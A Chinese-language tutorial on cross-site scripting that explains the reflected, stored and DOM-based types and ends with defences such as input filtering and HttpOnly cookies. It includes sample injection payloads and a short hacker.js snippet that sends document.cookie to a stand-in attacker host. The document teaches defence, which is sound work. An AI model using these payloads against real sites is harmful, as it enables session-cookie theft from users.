XSS
xss中文译名为跨站脚本攻击,攻击方式为在网站上注入恶意代码(一般是JavaScript脚本)进行攻击,攻击目的一般是非法获取用户信息。
xss攻击分为三类:
1.反射型(非持久型):是指发生请求时,XSS代码出现在请求URL中,作为参数提交到服务器,服务器解析并响应。响应结果中包含XSS代码,最后浏览器解析并执行。
例子:${url}?name=<script>alert(111)</script>
攻击过程:
- 攻击者构造出特殊的 URL,其中包含恶意代码。
- 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
- 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
举个例子,当我们在test.html中有一个搜索的url
test.html?q=xxx,这里的xxx就是搜索的内容,而我们在自己的攻击网站hacker.html中,添加一个跳转
<a href="test.html?q=<script src='hacker.js'></script>"></a>
那么用户在点击这个链接时,就等于在搜索框输入了
<script src='hacker.js'></script>
而此时,如果这里开发者没有做XSS攻击防范的话,就会加载了我之前准备好的攻击文件hacker.js
var img = new Image();
img.src = "http://hacker.html?q="+document.cookie;
document.body.append(img);
这样子,就会通过img请求图片时候通过url将用户的cookie发送到我的服务端被我获取,就会造成cookie被我知道了
2.存储型(持久型):存储型XSS,也叫持久型XSS,主要是将XSS代码发送到服务器(不管是数据库、内存还是文件系统等。),然后在下次请求页面的时候就不用带上XSS代码了。最典型的就是留言板XSS。用户提交了一条包含XSS代码的留言到数据库。当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。浏览器发现XSS代码时并不会加以判断,直接当做正常的HTML和JS解析执行,此时XSS攻击就发生了。
比如在某个页面上有留言版,我们在留言上写上这样的内容
<script>alert(1111)</script>
在下次用户打开页面的时候,就会先弹出1111(如果没有对该攻击做出防御的话) 这种攻击常见于可以给用户提供展示信息给其他用户的系统,比如二手交易平台,带有评论的系统,博客系统等等
攻击步骤
- 攻击者将恶意代码提交到目标网站的数据库中。
- 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
- 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
3.DOM型:
攻击步骤
- 攻击者构造出特殊的 URL,其中包含恶意代码。
- 用户打开带有恶意代码的 URL。
- 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。 DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。
防范方法
- 过滤输入的文本
- 在cookie中设置httponly属性,使得js无法获得cookie ( 方法:在http的返回头中设置
set-cookie:<name>=<val>[;httponly])